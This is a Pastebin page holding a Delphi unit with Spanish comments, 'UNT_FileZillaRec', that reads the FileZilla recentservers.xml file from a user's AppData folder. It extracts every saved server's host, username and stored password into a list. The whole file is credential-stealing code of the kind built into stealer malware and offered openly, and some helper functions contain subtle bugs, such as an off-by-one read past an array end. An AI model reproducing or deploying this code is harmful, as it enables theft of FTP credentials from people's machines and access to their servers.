Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //******************************************************************************
- //* UNIT: UNT_FileZillaRec
- //* AUTOR: Fakedo0r
- //* FECHA: 03.05.2012
- //* CORREO: [email protected]
- //* BLOG: Sub-Soul.blogspot.com
- //* USO: FileZillaRec
- //******************************************************************************
- Unit UNT_FileZillaRec;
- //******************************************************************************
- //DECLARACION DE LIBRERIAS / CLASES
- //******************************************************************************
- Interface
- Uses
- Winapi.Windows, System.SysUtils, System.Classes,
- ShlObj, RegularExpressions, Registry;
- //******************************************************************************
- //DECLARACION ESTRUCTURAS
- //******************************************************************************
- Type
- TFileZilla_Data = Record
- sHost: String;
- sUser: String;
- sPass: String;
- End;
- //******************************************************************************
- //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
- //******************************************************************************
- Function FileZillaRec(sSepInt: String): TStringList;
- Function IsFileExists(sFile: String): BOOL;
- Function ReadFileA(sFile: String): String;
- Function GetSpecialFolderA(iCSIDL: Integer): String;
- Function ByteArrayToString(bByteArray: TBytes): AnsiString;
- Function RegSplitA(Pattern, sCadena: String): TStringList;
- Function MidText(sCadena: String; sDel_1: String; sDel_2: String): String;
- //******************************************************************************
- Implementation
- //******************************************************************************
- //<--- RECUPERA LAS CUENTAS DE FILEZILLA --->
- //******************************************************************************
- Function FileZillaRec(sSepInt: String): TStringList;
- Var
- sPath: String;
- sAccounts: String;
- I: Smallint;
- tArrTemp: TStringList;
- tArrAccs: TStringList;
- tArrFZData: TFileZilla_Data;
- Begin
- Result := TStringList.Create;
- tArrTemp := TStringList.Create;
- tArrFZData.sHost := '';
- tArrFZData.sUser := '';
- tArrFZData.sPass := '';
- sPath := GetSpecialFolderA(CSIDL_APPDATA) + '\FileZilla\recentservers.xml';
- If IsFileExists(sPath) = False Then Exit;
- sAccounts := ReadFileA(sPath);
- If (AnsiPos('<RecentServers>', sAccounts) = 0) Or
- (AnsiPos('<RecentServers>', sAccounts) = 0) Then
- Exit;
- sAccounts := MidText(sAccounts, '<RecentServers>', '</RecentServers>');
- tArrAccs := RegSplitA('<Server>', sAccounts);
- For I := 1 to tArrAccs.Count - 1 do
- Begin
- tArrFZData.sHost := MidText(tArrAccs[i], '<Host>', '</Host>');
- tArrFZData.sUser := MidText(tArrAccs[i], '<User>', '</User>');
- tArrFZData.sPass := MidText(tArrAccs[i], '<Pass>', '</Pass>');
- tArrTemp.Add(tArrFZData.sHost + sSepInt +
- tArrFZData.sUser + sSepInt +
- tArrFZData.sPass);
- End;
- Result := tArrTemp;
- End;
- //******************************************************************************
- //<--- OBTIENE LAS RUTAS ESPECIALES --->
- //******************************************************************************
- Function GetSpecialFolderA(iCSIDL: Integer): String;
- Var
- pszPath: PChar;
- iRet: Integer;
- tIDL: PItemIDList;
- Begin
- GetMem(pszPath, MAX_PATH);
- iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
- If iRet = NOERROR Then
- Begin
- SHGetPathFromIDList(tIDL, pszPath);
- GetSpecialFolderA := String(pszPath);
- End;
- FreeMem(pszPath);
- End;
- //******************************************************************************
- //<--- PERMITE LEER TEXTO / BINARIO --->
- //******************************************************************************
- Function ReadFileA(sFile: String): String;
- Var
- dwRet: DWORD;
- hFile: THandle;
- iSize: Integer;
- bRead: TBytes;
- Begin
- hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, Nil,
- OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- If hFile = INVALID_HANDLE_VALUE Then Exit;
- iSize := GetFileSize(hFile, Nil);
- SetFilePointer(hFile, 0, Nil, FILE_BEGIN);
- SetLength(bRead, iSize);
- ReadFile(hFile, bRead[0], iSize, dwRet, Nil);
- CloseHandle(hFile);
- Result := ByteArrayToString(bRead);
- End;
- //******************************************************************************
- //<--- CONVIERTE ARRAY DE BYTES EN STRING --->
- //******************************************************************************
- Function ByteArrayToString(bByteArray: TBytes): AnsiString;
- Var
- i: Integer;
- Begin
- SetLength(Result, Length(bByteArray));
- For i := 0 to Length(bByteArray) do
- Result[i + 1] := AnsiChar(bByteArray[i]);
- End;
- //******************************************************************************
- //<--- SPLIT [EXPRESIONES REGULARES] --->
- //******************************************************************************
- Function RegSplitA(Pattern, sCadena: String): TStringList;
- Var
- I: Integer;
- RegEx: TRegEx;
- sArrVar: TArray<String>;
- Begin
- Result := Nil;
- Result := TStringList.Create;
- sArrVar := tRegEx.Split(sCadena, Pattern);
- For I := 0 To Length(sArrVar) - 1 Do
- Result.Add(sArrVar[I]);
- End;
- //******************************************************************************
- //<--- VERIFICA SI EL ARCHIVO EXISTE --->
- //******************************************************************************
- Function IsFileExists(sFile: String): Bool;
- Var
- iRet: DWORD;
- Begin
- Result:= True;
- iRet := GetFileAttributes(PChar(sFile));
- If iRet = INVALID_FILE_ATTRIBUTES Then Result := False;
- End;
- //******************************************************************************
- //<--- OBTIENE LA CADENA CENTRAL --->
- //******************************************************************************
- Function MidText(sCadena: String; sDel_1: String; sDel_2: String): String;
- Begin
- Result := Copy(sCadena, AnsiPos(sDel_1, sCadena) + Length(sDel_1), Length(sCadena) - AnsiPos(sDel_2, Result));
- Result := Copy(Result, 1, AnsiPos(sDel_2, Result) - 1);
- End;
- End.
Advertisement
Add Comment
Please, Sign In to add comment